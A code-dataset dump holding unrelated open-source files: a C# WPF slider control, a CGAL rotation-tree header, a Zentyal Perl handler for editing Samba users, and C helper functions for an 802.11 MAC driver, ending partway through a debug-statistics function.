code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Data;
using System.Windows.Controls.Primitives;
using System.Reflection;
using System.Windows.Threading;
using System.ComponentModel;
using System.Windows.Shapes;
namespace MusicCollectionWPF.Infra
{
public class CustoSlider : Slider
{
private Canvas _Matrix;
private Image _Cursor;
private Popup _autoToolTip;
private TextBlock _TB;
private Line _B;
private DispatcherTimer _Time;
private int _ImobileCount=0;
public event EventHandler<EventArgs> DragStarted;
public event EventHandler<EventArgs> DragCompleted;
public CustoSlider()
: base()
{
NeedTP = false;
_Time = new DispatcherTimer();
_Time.Interval = TimeSpan.FromMilliseconds(200);
_Time.Tick += Tick;
_Time.IsEnabled = false;
}
private void UpdateToolTip(double xp)
{
_TB.Text = AutoToolTipContent.Convert(ConvertToValue(xp), this.Minimum, this.Maximum);
FrameworkElement ch = (this._autoToolTip.Child as FrameworkElement);
bool force = false;
if (ch.ActualWidth==0)
{
_TB.Visibility=Visibility.Hidden;
_autoToolTip.IsOpen = true;
force = true;
}
this._autoToolTip.HorizontalOffset = xp - ch.ActualWidth / 2;
if (force)
{
_autoToolTip.IsOpen = false;
_TB.Visibility = Visibility.Visible;
}
}
private void UpdateToolTip(Point p)
{
UpdateToolTip(p.X);
}
private Point _Current;
private void Tick(object s, EventArgs ea)
{
Point nCurrent = Mouse.GetPosition(_Matrix);
if (nCurrent == _Current)
{
_ImobileCount++;
if (_ImobileCount==3)
OnImmobile(nCurrent);
}
else
{
_ImobileCount = 0;
if (_autoToolTip.IsOpen)
{
UpdateToolTip(nCurrent);
}
}
_Current = nCurrent;
}
private void OnImmobile(Point p)
{
if (!this.NeedTP)
return;
if (this._Trig)
return;
UpdateToolTip(p);
_autoToolTip.IsOpen = true;
}
private void ME(object s, EventArgs ea)
{
_Time.IsEnabled = true;
}
private void ML(object s, MouseEventArgs ea)
{
_Time.IsEnabled = false;
_autoToolTip.IsOpen = false;
}
private double ConvertToValue(double delta)
{
return Math.Min(this.Maximum, Math.Max(this.Minimum, this.Minimum + (delta * (this.Maximum - this.Minimum)) / _Matrix.ActualWidth));
}
private double ConvertToRealValue(double delta)
{
return Math.Min(_Matrix.ActualWidth, Math.Max(0, delta));
}
public double LineThickness
{
get { return (double)GetValue(LineTicknessProperty); }
set { SetValue(LineTicknessProperty, value); }
}
public static readonly DependencyProperty LineTicknessProperty = DependencyProperty.Register(
"LineThickness",
typeof(double),
typeof(CustoSlider),
new FrameworkPropertyMetadata(2D));
public bool FillLineVisible
{
get { return (bool)GetValue(FillLineVisibleProperty); }
set { SetValue(FillLineVisibleProperty, value); }
}
public static readonly DependencyProperty TickLineBrushProperty = DependencyProperty.Register(
"TickLineBrush", typeof(Brush), typeof(CustoSlider));
public Brush TickLineBrush
{
get { return (Brush)GetValue(TickLineBrushProperty); }
set { SetValue(TickLineBrushProperty, value); }
}
public static readonly DependencyProperty FillLineVisibleProperty = DependencyProperty.Register(
"FillLineVisible",
typeof(bool),
typeof(CustoSlider),
new FrameworkPropertyMetadata(false));
public ISliderMultiConverter AutoToolTipContent
{
get { return (ISliderMultiConverter)GetValue(AutoToolTipContentProperty); }
set { SetValue(AutoToolTipContentProperty, value); }
}
public static readonly DependencyProperty AutoToolTipContentProperty = DependencyProperty.Register(
"AutoToolTipContent",
typeof(ISliderMultiConverter),
typeof(CustoSlider),
new FrameworkPropertyMetadata(null, AutoToolTipPropertyChangedCallback));
private static void AutoToolTipPropertyChangedCallback(DependencyObject d, DependencyPropertyChangedEventArgs e)
{
CustoSlider cs = d as CustoSlider;
cs.NeedTP = true;
}
public override void OnApplyTemplate()
{
base.OnApplyTemplate();
try
{
_Matrix = (Canvas)GetTemplateChild("Matrix");
this.MouseDown += Canvas_MouseDown;
_Cursor = (Image)GetTemplateChild("Cursor");
_Cursor.PreviewMouseLeftButtonDown += Image_PreviewMouseDown;
_Cursor.MouseLeftButtonUp += Image_MouseUp;
_Cursor.MouseMove += Image_MouseMove;
_B = (Line)GetTemplateChild("Bar");
_B.MouseEnter += ME;
_B.MouseLeave += ML;
_autoToolTip = GetTemplateChild("AutoToolTip") as Popup;
_TB = (TextBlock)GetTemplateChild("AutoToolTipContentTextBox");
}
catch (Exception)
{
}
}
protected override void OnRender(DrawingContext dc)
{
if (TickPlacement != TickPlacement.None)
{
Size size = new Size(base.ActualWidth, base.ActualHeight);
double MidHeight = size.Height / 2;
double BigCircle = size.Height / 5;
double SmallCircle = (BigCircle * 2) / 3;
dc.DrawEllipse(FillLineVisible? this.TickLineBrush: this.BorderBrush, new Pen(), new Point(10, MidHeight), BigCircle, BigCircle);
dc.DrawEllipse(this.BorderBrush, new Pen(), new Point(size.Width + 10, MidHeight), BigCircle, BigCircle);
int tickCount = (int)((this.Maximum - this.Minimum) / this.TickFrequency) -1;
Double tickFrequencySize = (size.Width * this.TickFrequency / (this.Maximum - this.Minimum));
for (int i = 0; i <tickCount; i++)
{
dc.DrawEllipse(this.BorderBrush, new Pen(), new Point(10 + (i + 1) * tickFrequencySize, MidHeight),
SmallCircle, SmallCircle);
}
}
base.OnRender(dc);
}
private async void Canvas_MouseDown(object sender, MouseButtonEventArgs e)
{
if (_Trig)
return;
Point p = Mouse.GetPosition(_Matrix);
_autoToolTip.IsOpen = false;
_Trig = true;
var target = ConvertToValue(p.X);
await this.SmoothSetAsync(ValueProperty, target, TimeSpan.FromSeconds(0.1));
Value = target;
OnThumbDragCompleted(new DragCompletedEventArgs(0, 0, false));
if (DragCompleted != null)
DragCompleted(this, new EventArgs());
_Trig = false;
}
private void Image_MouseMove(object sender, MouseEventArgs e)
{
if (!_Trig)
return;
OnThumbDragDelta(e);
}
private bool _Trig = false;
private void Image_PreviewMouseDown(object sender, MouseButtonEventArgs e)
{
_Cursor.CaptureMouse();
e.Handled = true;
_Trig = true;
_autoToolTip.IsOpen = false;
OnThumbDragStarted(e);
if (DragStarted != null)
DragStarted(this, new EventArgs());
}
private void Image_MouseUp(object sender, MouseButtonEventArgs e)
{
if (!_Trig)
return;
_Cursor.ReleaseMouseCapture();
e.Handled = true;
_Trig = false;
OnThumbDragCompleted(e);
if (DragCompleted != null)
DragCompleted(this, new EventArgs());
}
private void OnThumbDragStarted(MouseEventArgs e)
{
if (NeedTP)
{
_autoToolTip.IsOpen = true;
UpdateToolTip(e.GetPosition(_Matrix));
}
}
private void OnThumbDragDelta(MouseEventArgs e)
{
Point p = e.GetPosition(_Matrix);
Value = ConvertToValue(p.X);
if (NeedTP)
{
UpdateToolTip(e.GetPosition(_Matrix));
}
}
public bool InDrag
{
get{ return _Trig; }
}
private void OnThumbDragCompleted(MouseEventArgs e)
{
Point p = e.GetPosition(_Matrix);
Value = ConvertToValue(p.X);
if (NeedTP)
{
_autoToolTip.IsOpen = false;
}
}
private bool NeedTP
{
get;
set;
}
protected void OnPropertyChanged(string pn)
{
if (PropertyChanged == null)
return;
PropertyChanged(this, new PropertyChangedEventArgs(pn));
}
public event PropertyChangedEventHandler PropertyChanged;
}
}
| David-Desmaisons/MusicCollection | MusicCollectionWPF/MusicCollectionWPF/Infra/Element/CustoSlider.cs | C# | gpl-2.0 | 10,166 |
// Copyright (c) 2000 Max-Planck-Institute Saarbruecken (Germany).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org).
// You can redistribute it and/or modify it under the terms of the GNU
// General Public License as published by the Free Software Foundation,
// either version 3 of the License, or (at your option) any later version.
//
// Licensees holding a valid commercial license may use this file in
// accordance with the commercial license agreement provided with the software.
//
// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE
// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
//
// $URL: https://github.com/CGAL/cgal/blob/releases/CGAL-4.14.1/Partition_2/include/CGAL/Partition_2/Rotation_tree_2.h $
// $Id: Rotation_tree_2.h b33ab79 %aI Andreas Fabri
// SPDX-License-Identifier: GPL-3.0+
//
//
// Author(s) : Susan Hert <[email protected]>
/*
A rotation tree for computing the vertex visibility graph of a set of
non-intersecting segments in the plane (e.g. edges of a polygon).
Let $V$ be the set of segment endpoints and
let $p_{\infinity}$ ($p_{-\infinity}$) be a point with $y$ coordinate
$\infinity$ ($-\infinity$) and $x$ coordinate larger than all points
in $V$. The tree $G$ is a tree with node set
$V \cup \{p_{\infinity}, p_{-\infinity}\}$. Every node (except the one
corresponding to $p_{\infinity}$) has exactly one outgoing edge to the
point $q$ with the following property: $q$ is the first point encountered
when looking from $p$ in direction $d$ and rotating counterclockwise.
*/
#ifndef CGAL_ROTATION_TREE_H
#define CGAL_ROTATION_TREE_H
#include <CGAL/disable_warnings.h>
#include <CGAL/license/Partition_2.h>
#include <CGAL/vector.h>
#include <CGAL/Partition_2/Rotation_tree_node_2.h>
#include <boost/bind.hpp>
namespace CGAL {
template <class Traits_>
class Rotation_tree_2 : public internal::vector< Rotation_tree_node_2<Traits_> >
{
public:
typedef Traits_ Traits;
typedef Rotation_tree_node_2<Traits> Node;
typedef typename internal::vector<Node>::iterator Self_iterator;
typedef typename Traits::Point_2 Point_2;
using internal::vector< Rotation_tree_node_2<Traits_> >::push_back;
class Greater {
typename Traits::Less_xy_2 less;
typedef typename Traits::Point_2 Point;
public:
Greater(typename Traits::Less_xy_2 less) : less(less) {}
template <typename Point_like>
bool operator()(const Point_like& p1, const Point_like& p2) {
return less(Point(p2), Point(p1));
}
};
// constructor
template<class ForwardIterator>
Rotation_tree_2(ForwardIterator first, ForwardIterator beyond)
{
for (ForwardIterator it = first; it != beyond; it++)
push_back(*it);
Greater greater (Traits().less_xy_2_object());
std::sort(this->begin(), this->end(), greater);
std::unique(this->begin(), this->end());
// front() is the point with the largest x coordinate
// push the point p_minus_infinity; the coordinates should never be used
push_back(Point_2( 1, -1));
// push the point p_infinity; the coordinates should never be used
push_back(Point_2(1, 1));
_p_inf = this->end(); // record the iterators to these extreme points
_p_inf--;
_p_minus_inf = _p_inf;
_p_minus_inf--;
Self_iterator child;
// make p_minus_inf a child of p_inf
set_rightmost_child(_p_minus_inf, _p_inf);
child = this->begin(); // now points to p_0
while (child != _p_minus_inf) // make all points children of p_minus_inf
{
set_rightmost_child(child, _p_minus_inf);
child++;
}
}
// the point that comes first in the right-to-left ordering is first
// in the ordering, after the auxilliary points p_minus_inf and p_inf
Self_iterator rightmost_point_ref()
{
return this->begin();
}
Self_iterator right_sibling(Self_iterator p)
{
if (!(*p).has_right_sibling()) return this->end();
return (*p).right_sibling();
}
Self_iterator left_sibling(Self_iterator p)
{
if (!(*p).has_left_sibling()) return this->end();
return (*p).left_sibling();
}
Self_iterator rightmost_child(Self_iterator p)
{
if (!(*p).has_children()) return this->end();
return (*p).rightmost_child();
}
Self_iterator parent(Self_iterator p)
{
if (!(*p).has_parent()) return this->end();
return (*p).parent();
}
bool parent_is_p_infinity(Self_iterator p)
{
return parent(p) == _p_inf;
}
bool parent_is_p_minus_infinity(Self_iterator p)
{
return parent(p) == _p_minus_inf;
}
// makes *p the parent of *q
void set_parent (Self_iterator p, Self_iterator q)
{
CGAL_assertion(q != this->end());
if (p == this->end())
(*q).clear_parent();
else
(*q).set_parent(p);
}
// makes *p the rightmost child of *q
void set_rightmost_child(Self_iterator p, Self_iterator q);
// makes *p the left sibling of *q
void set_left_sibling(Self_iterator p, Self_iterator q);
// makes *p the right sibling of *q
void set_right_sibling(Self_iterator p, Self_iterator q);
// NOTE: this function does not actually remove the node p from the
// list; it only reorganizes the pointers so this node is not
// in the tree structure anymore
void erase(Self_iterator p);
private:
Self_iterator _p_inf;
Self_iterator _p_minus_inf;
};
}
#include <CGAL/Partition_2/Rotation_tree_2_impl.h>
#include <CGAL/enable_warnings.h>
#endif // CGAL_ROTATION_TREE_H
// For the Emacs editor:
// Local Variables:
// c-basic-offset: 3
// End:
| wschreyer/PENTrack | cgal/include/CGAL/Partition_2/Rotation_tree_2.h | C | gpl-2.0 | 5,859 |
# Copyright (C) 2008-2013 Zentyal S.L.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License, version 2, as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
use strict;
use warnings;
package EBox::Samba::CGI::EditUser;
use base 'EBox::CGI::ClientPopupBase';
use EBox::Global;
use EBox::Samba;
use EBox::Samba::User;
use EBox::Samba::Group;
use EBox::Gettext;
use EBox::Exceptions::External;
sub new
{
my $class = shift;
my $self = $class->SUPER::new('template' => '/samba/edituser.mas', @_);
bless($self, $class);
return $self;
}
sub _process
{
my ($self) = @_;
my $global = EBox::Global->getInstance();
my $users = $global->modInstance('samba');
$self->{'title'} = __('Users');
my @args = ();
$self->_requireParam('dn', 'dn');
my $dn = $self->unsafeParam('dn');
my $user = new EBox::Samba::User(dn => $dn);
my $components = $users->allUserAddOns($user);
my $usergroups = $user->groups(internal => 0, system => 1);
my $remaingroups = $user->groupsNotIn(internal => 0, system => 1);
my $editable = $users->editableMode();
push(@args, 'user' => $user);
push(@args, 'usergroups' => $usergroups);
push(@args, 'remaingroups' => $remaingroups);
push(@args, 'components' => $components);
push(@args, 'slave' => not $editable);
$self->{params} = \@args;
if ($self->param('edit')) {
my $setText = undef;
$self->{json} = { success => 0 };
$self->_requireParam('User_quota_selected');
my $quotaTypeSelected = $self->param('User_quota_selected');
my $quota;
if ($quotaTypeSelected eq 'quota_disabled') {
$quota = 0;
} elsif ($quotaTypeSelected eq 'quota_size') {
$quota = $self->param('User_quota_size');
}
if (defined ($quota) and $user->hasValue('objectClass', 'systemQuotas')) {
$user->set('quota', $quota, 1);
}
my $addMail;
my $delMail;
if ($editable) {
$self->_requireParamAllowEmpty('givenname', __('first name'));
$self->_requireParamAllowEmpty('surname', __('last name'));
$self->_requireParamAllowEmpty('displayname', __('display name'));
$self->_requireParamAllowEmpty('description', __('description'));
$self->_requireParamAllowEmpty('mail', __('E-Mail'));
$self->_requireParamAllowEmpty('password', __('password'));
$self->_requireParamAllowEmpty('repassword', __('confirm password'));
my $givenName = $self->param('givenname');
my $surname = $self->param('surname');
my $disabled = $self->param('disabled');
my $displayname = $self->unsafeParam('displayname');
if (length ($displayname)) {
$user->set('displayName', $displayname, 1);
$setText = $user->name() . " ($displayname)";
} else {
$user->delete('displayName', 1);
$setText = $user->name();
}
my $description = $self->unsafeParam('description');
if (length ($description)) {
$user->set('description', $description, 1);
} else {
$user->delete('description', 1);
}
my $mail = $self->unsafeParam('mail');
my $oldMail = $user->get('mail');
if ($mail) {
$mail = lc $mail;
if (not $oldMail) {
$addMail = $mail;
} elsif ($mail ne $oldMail) {
$delMail = 1;
$addMail = $mail;
}
} elsif ($oldMail) {
$delMail = 1;
}
my $mailMod = $global->modInstance('mail');
if ($delMail) {
if ($mailMod and $mailMod->configured()) {
$mailMod->_ldapModImplementation()->delUserAccount($user);
} else {
$user->delete('mail', 1);
}
}
if ($addMail) {
if ($mailMod and $mailMod->configured()) {
$mailMod->_ldapModImplementation()->setUserAccount($user, $addMail);
} else {
$user->checkMail($addMail);
$user->set('mail', $addMail, 1);
}
}
$user->set('givenname', $givenName, 1) if ($givenName);
$user->set('sn', $surname, 1) if ($surname);
$user->setDisabled($disabled, 1);
# Change password if not empty
my $password = $self->unsafeParam('password');
if ($password) {
my $repassword = $self->unsafeParam('repassword');
if ($password ne $repassword){
throw EBox::Exceptions::External(__('Passwords do not match.'));
}
$user->changePassword($password, 1);
}
}
$user->save();
$self->{json}->{success} = 1;
$self->{json}->{msg} = __('User updated');
if ($setText) {
$self->{json}->{set_text} = $setText;
}
if ($addMail) {
$self->{json}->{mail} = $addMail;
} elsif ($delMail) {
$self->{json}->{mail} = '';
}
} elsif ($self->param('addgrouptouser')) {
$self->{json} = { success => 0 };
$self->_requireParam('addgroup', __('group'));
my @groups = $self->unsafeParam('addgroup');
foreach my $gr (@groups) {
my $group = new EBox::Samba::Group(samAccountName => $gr);
$user->addGroup($group);
}
$self->{json}->{success} = 1;
} elsif ($self->param('delgroupfromuser')) {
$self->{json} = { success => 0 };
$self->_requireParam('delgroup', __('group'));
my @groups = $self->unsafeParam('delgroup');
foreach my $gr (@groups){
my $group = new EBox::Samba::Group(samAccountName => $gr);
$user->removeGroup($group);
}
$self->{json}->{success} = 1;
} elsif ($self->param('groupInfo')) {
$self->{json} = {
success => 1,
member => [ map { $_->name } @{ $usergroups }],
noMember => [ map { $_->name } @{ $remaingroups }],
};
}
}
1;
| allanjhonne/zentyal | main/samba/src/EBox/Samba/CGI/EditUser.pm | Perl | gpl-2.0 | 6,891 |
/*****************************************************************************/
/* */
/* Ittiam 802.11 MAC SOFTWARE */
/* */
/* ITTIAM SYSTEMS PVT LTD, BANGALORE */
/* COPYRIGHT(C) 2005 */
/* */
/* This program is proprietary to Ittiam Systems Private Limited and */
/* is protected under Indian Copyright Law as an unpublished work. Its use */
/* and disclosure is limited by the terms and conditions of a license */
/* agreement. It may not be copied or otherwise reproduced or disclosed to */
/* persons outside the licensee's organization except in accordance with the*/
/* terms and conditions of such an agreement. All copies and */
/* reproductions shall be the property of Ittiam Systems Private Limited and*/
/* must bear this notice in its entirety. */
/* */
/*****************************************************************************/
/*****************************************************************************/
/* */
/* File Name : common.c */
/* */
/* Description : This file contains the functions used by both AP/STA */
/* modes in MAC. */
/* */
/* List of Functions : set_dscr_fn */
/* get_dscr_fn */
/* */
/* Issues / Problems : None */
/* */
/*****************************************************************************/
/*****************************************************************************/
/* File Includes */
/*****************************************************************************/
#include "common.h"
#include "mh.h"
#include "csl_linux.h"
#include "trout_share_mem.h"
#ifdef MAC_HW_UNIT_TEST_MODE
#include "mh_test.h"
#endif /* MAC_HW_UNIT_TEST_MODE */
/*****************************************************************************/
/* Global Variables */
/*****************************************************************************/
UWORD32 g_calib_cnt = DEFAULT_CALIB_COUNT;
extern UWORD32 g_done_wifi_suspend;
#ifdef DEBUG_MODE
mac_stats_t g_mac_stats = {0};
reset_stats_t g_reset_stats = {0};
UWORD8 g_enable_debug_print = 1;
UWORD8 g_11n_print_stats = 0;
#endif /* DEBUG_MODE */
#ifdef MEM_DEBUG_MODE
mem_stats_t g_mem_stats = {0};
#endif /* MEM_DEBUG_MODE */
#ifdef MAC_HW_UNIT_TEST_MODE
#endif /* MAC_HW_UNIT_TEST_MODE */
#ifdef DSCR_MACROS_NOT_DEFINED
/*****************************************************************************/
/* */
/* Function Name : set_dscr_fn */
/* */
/* Description : This function modifies the packet descriptor with the */
/* new specified value. The descriptor field to be modified */
/* is specified by the descriptor offset and width */
/* */
/* Inputs : 1) Offset of the descriptor field */
/* 2) Width of the descriptor field */
/* 3) Pointer to the packet descriptor to be modified */
/* 4) The new value for the descriptor field */
/* */
/* Globals : None */
/* */
/* Processing : Modifies the specified descriptor with the supplied */
/* value. */
/* */
/* Outputs : None */
/* Returns : None */
/* Issues : None */
/* */
/*****************************************************************************/
void set_dscr_fn(UWORD8 offset, UWORD16 width, UWORD32 *ptr, UWORD32 value)
{
UWORD32 mask_inverse = 0;
UWORD32 mask = 0;
UWORD32 temp = 0;
UWORD32 shift_offset = 32 - width - offset;
#ifdef DEBUG_MODE
if((width + offset) > 32)
{
/* Signal Erroneous input */
}
#endif /* DEBUG_MODE */
/* Calculate the inverse of the Mask */
if(width < 32)
mask_inverse = ((1 << width) - 1) << shift_offset;
else
mask_inverse = 0xFFFFFFFF;
/* Generate the mask */
mask = ~mask_inverse;
/* Read the descriptor word in little endian format */
temp = convert_to_le(*ptr);
/* Updating the value of the descriptor field with the help of masks */
temp = ((value << shift_offset) & mask_inverse) | (temp & mask);
/* Swap the byte order in the word if required for endian-ness change */
*ptr = convert_to_le(temp);
}
/*****************************************************************************/
/* */
/* Function Name : get_dscr_fn */
/* */
/* Description : This function reads a word32 location to extract a */
/* specified descriptor field.of specified width. */
/* */
/* Inputs : 1) Offset of the descriptor field in the 32 bit boundary */
/* 2) Width of the desired descriptor field */
/* 3) Pointer to the word32 location of the field */
/* */
/* Globals : None */
/* */
/* Processing : Reads the descriptor for the specific field and returns */
/* the value. */
/* */
/* Outputs : None */
/* */
/* Returns : Descriptor field value */
/* */
/* Issues : None */
/* */
/*****************************************************************************/
UWORD32 get_dscr_fn(UWORD8 offset, UWORD16 width, UWORD32 *ptr)
{
UWORD32 mask = 0;
UWORD32 temp = 0;
UWORD32 value = 0;
UWORD32 shift_offset = 32 - width - offset;
#ifdef DEBUG_MODE
if((width + offset) > 32)
{
/* Signal Erroneous input */
}
#endif /* DEBUG_MODE */
/* Calculate the Mask */
if(width < 32)
mask = ((1 << width) - 1) << shift_offset;
else
mask = 0xFFFFFFFF;
/* Swap the byte order in the word if required for endian-ness change */
temp = convert_to_le(*ptr);
/* Obtain the value of the descriptor field with the help of masks */
value = (temp & mask) >> shift_offset;
return value;
}
#endif /* DSCR_MACROS_NOT_DEFINED */
#ifdef MWLAN
/*****************************************************************************/
/* */
/* Function Name : itm_memset */
/* */
/* Description : This function sets the specified number of bytes in the */
/* buffer to the required value. The functionality is */
/* similar to the standard memset function. The new */
/* implementation was required due to the bug seen when */
/* using memset function across the bridge on MWLAN. */
/* */
/* Inputs : 1) Pointer to the buffer. */
/* 2) Value of character to set */
/* 3) Number of characters to set. */
/* */
/* Globals : None */
/* */
/* Processing : */
/* */
/* Outputs : None */
/* */
/* Returns : Pointer to the buffer */
/* */
/* Issues : None */
/* */
/*****************************************************************************/
void *itm_memset(void *buff, UWORD8 val, UWORD32 num)
{
UWORD8 *cbuff = (UWORD8 *)buff;
if(num < 20)
while(num--)
*cbuff++ = val;
else
{
UWORD32 *wbuff = NULL;
UWORD32 wval = val;
UWORD32 temp = 0;
temp = (UWORD32)cbuff & 0x3;
/* Unaligned buffer */
num -= temp;
while(temp--)
*cbuff++ = val;
/* Word transfers */
wval += (wval << 8) + (wval << 16) + (wval << 24);
wbuff = (UWORD32 *)cbuff;
while(num > 3)
{
*wbuff++ = wval;
num -= 4;
}
/* Unaligned length */
cbuff = (UWORD8 *)wbuff;
while(num--)
*cbuff++ = val;
}
return buff;
}
#endif /* MWLAN */
/*****************************************************************************/
/* */
/* Function Name : calibrate_delay_loop */
/* */
/* Description : This function calibrates the delay loop counter using */
/* MAC H/w TSF Timer . */
/* */
/* Inputs : None */
/* */
/* Globals : g_calib_cnt */
/* */
/* Processing : MAC H/w version register is read a fixed number of times */
/* to introduce delay in S/w. This function calibrates this */
/* delay mechanism. It updates the global variable */
/* (g_calib_cnt) which holds the number of times the */
/* version register should be read to introduce a delay of */
/* 10us. */
/* */
/* Outputs : None */
/* Returns : None */
/* Issues : None */
/* */
/*****************************************************************************/
void calibrate_delay_loop(void)
{
UWORD32 i = 0;
UWORD32 entry_time = 0;
UWORD32 exit_time = 0;
BOOL_T pa_enabled = BFALSE;
BOOL_T tbtt_mask = BFALSE;
UWORD32 tsf_ctrl_bkup = 0;
UWORD32 calib_thresh = 0;
TROUT_FUNC_ENTER;
/* Backup the registers which will be used for the calibration process */
pa_enabled = is_machw_enabled();
tbtt_mask = is_machw_tbtt_int_masked();
tsf_ctrl_bkup = get_machw_tsf_ctrl();
critical_section_start();
/* PA is disabled but TBTT Interrupts can still come. Mask it. */
disable_machw_phy_and_pa();
mask_machw_tbtt_int();
set_machw_tsf_start();
set_machw_tsf_beacon_tx_suspend_enable();
/* Initialize Calibration Parameters */
calib_thresh = 1000;
entry_time = get_machw_tsf_timer_lo();
for(i = 0; i < calib_thresh; i++)
{
GET_TIME(); //modified by chengwg.
}
exit_time = get_machw_tsf_timer_lo();
/* Restore the Backed-up registers */
if(pa_enabled == BTRUE)
enable_machw_phy_and_pa();
if(tbtt_mask == BFALSE)
unmask_machw_tbtt_int();
set_machw_tsf_ctrl(tsf_ctrl_bkup);
critical_section_end();
/* The Delay Calibration Count is computed to provide a delay of 10us */
if(exit_time > entry_time)
g_calib_cnt = ((calib_thresh+2)*10)/(exit_time-entry_time) + 1;
TROUT_DBG4("Delay Calibration: Cnt=%d Delay=%d Calib_Cnt=%d\n",calib_thresh+2,
(exit_time-entry_time), g_calib_cnt);
TROUT_FUNC_EXIT;
}
#ifdef COMBO_SCAN
void calibrate_delay_loop_plus(void)
{
UWORD32 i = 0;
UWORD32 entry_time = 0;
UWORD32 exit_time = 0;
BOOL_T pa_enabled = BFALSE;
BOOL_T tbtt_mask = BFALSE;
UWORD32 tsf_ctrl_bkup = 0;
UWORD32 calib_thresh = 0;
TROUT_FUNC_ENTER;
/* Backup the registers which will be used for the calibration process */
pa_enabled = is_machw_enabled();
tbtt_mask = is_machw_tbtt_int_masked();
tsf_ctrl_bkup = get_machw_tsf_ctrl();
critical_section_start();
/* PA is disabled but TBTT Interrupts can still come. Mask it. */
disable_machw_phy_and_pa();
mask_machw_tbtt_int();
set_machw_tsf_start();
set_machw_tsf_beacon_tx_suspend_enable();
/* Initialize Calibration Parameters */
calib_thresh = 1000;
entry_time = get_machw_tsf_timer_lo();
for(i = 0; i < calib_thresh; i++)
{
GET_TIME(); //modified by chengwg.
}
exit_time = get_machw_tsf_timer_lo();
/* Restore the Backed-up registers */
if(pa_enabled == BTRUE)
enable_machw_phy_and_pa();
if(tbtt_mask == BFALSE)
unmask_machw_tbtt_int();
set_machw_tsf_ctrl(tsf_ctrl_bkup);
critical_section_end();
/* The Delay Calibration Count is computed to provide a delay of 10us */
//if(exit_time > entry_time)
//g_calib_cnt = ((calib_thresh+2)*10)/(exit_time-entry_time) + 1;
//TROUT_DBG4("Delay Calibration: Cnt=%d Delay=%d Calib_Cnt=%d\n",calib_thresh+2,
//(exit_time-entry_time), g_calib_cnt);
TROUT_FUNC_EXIT;
}
#endif
/*****************************************************************************/
/* */
/* Function Name : add_calib_delay */
/* */
/* Description : This function provides a minimum S/w delay of the */
/* required time specified in units of 10us */
/* */
/* Inputs : 1) The required delay in units of 10us. i.e. Input 10 */
/* will provide a delay of 100us */
/* */
/* Globals : g_calib_cnt */
/* */
/* Processing : The MAC H/w version number is read continuously for a */
/* precomputed number of times to provide the required */
/* delay. */
/* */
/* Outputs : None */
/* */
/* Returns : None */
/* */
/* Issues : None */
/* */
/*****************************************************************************/
void add_calib_delay(UWORD32 delay)
{
UWORD32 i = 0;
// UWORD32 j = 0;
UWORD32 delay_thresh = g_calib_cnt * delay;
for(i = 0; i < delay_thresh; i++)
//j += get_machw_pa_ver();
//j += (*(volatile UWORD32 *)HOST_DELAY_FOR_TROUT_PHY); //add by chengq.
GET_TIME();
}
#ifdef DEBUG_MODE
void print_ba_debug_stats(void)
{
UWORD32 idx = 0;
PRINTK("BA Frames Rxd = %d\n\r", g_mac_stats.babarxd);
PRINTK("BAR Frames successfully Txd = %d\n\r", g_mac_stats.babartxd);
PRINTK("BAR Frames Rxd = %d\n\r", g_mac_stats.babarrxd);
PRINTK("Data Frames retransmitted = %d\n\r", g_mac_stats.badatretx);
PRINTK("Times Window is moved = %d\n\r", g_mac_stats.bawinmove);
PRINTK("BAR Tx-Failures = %d\n\r", g_mac_stats.babarfail);
PRINTK("Data Tx-Failures = %d\n\r", g_mac_stats.badatfail);
PRINTK("Missing Buffers = %d\n\r", g_mac_stats.babufmiss);
PRINTK("Frames deleted during Buffer cleanup = %d\n\r", g_mac_stats.badatclnup);
PRINTK("Pending Frames discarded = %d\n\r", g_mac_stats.bapenddrop);
PRINTK("Frames Txd from the Pending Q = %d\n\r", g_mac_stats.bapendingtxwlantxd);
PRINTK("Stale BA frames received = %d\n\r", g_mac_stats.baoldbarxd);
PRINTK("Stale BA frames received = %d\n\r", g_mac_stats.baoldbarrxd);
PRINTK("Frames received out of window and hence droped = %d\n\r",g_mac_stats.barxdatoutwin);
PRINTK("Re-queue failures = %d\n\r", g_mac_stats.bartrqfail);
PRINTK("Number of blocks Qed = %d\n\r", g_mac_stats.banumblks);
PRINTK("Number of Frames Qed = %d\n\r", g_mac_stats.banumqed);
PRINTK("Number of times the pending Q was empty while enqueing = %d\n\r",g_mac_stats.baemptyQ);
PRINTK("Num of times grp=%d\n\r", g_mac_stats.num_buffto);
PRINTK("ba_num_dq=%d\n\r", g_mac_stats.ba_num_dq);
PRINTK("ba_num_dqed=%d\n\r", g_mac_stats.ba_num_dqed);
PRINTK("batxfba=%d\n\r", g_mac_stats.batxfba);
for(idx = 0; idx < 10; idx++)
PRINTK("batemp[%d] = %d\n\r", idx, g_mac_stats.batemp[idx]);
}
UWORD8 print_mem_stats(void)
{
UWORD8 print_flag = 0;
#ifdef MEM_DEBUG_MODE
print_flag |= printe("nosizeallocexc", g_mem_stats.nosizeallocexc);
print_flag |= printe("nofreeallocexc", g_mem_stats.nofreeallocexc);
print_flag |= printe("reallocexc", g_mem_stats.reallocexc);
print_flag |= printe("corruptallocexc", g_mem_stats.corruptallocexc);
print_flag |= printe("nullfreeexc", g_mem_stats.nullfreeexc);
print_flag |= printe("oobfreeexc", g_mem_stats.oobfreeexc);
print_flag |= printe("refreeexc", g_mem_stats.refreeexc);
print_flag |= printe("corruptfreeexc", g_mem_stats.corruptfreeexc);
print_flag |= printe("invalidfreeexc", g_mem_stats.invalidfreeexc);
print_flag |= printe("excessfreeexc", g_mem_stats.excessfreeexc);
print_flag |= printe("nulladdexc", g_mem_stats.nulladdexc);
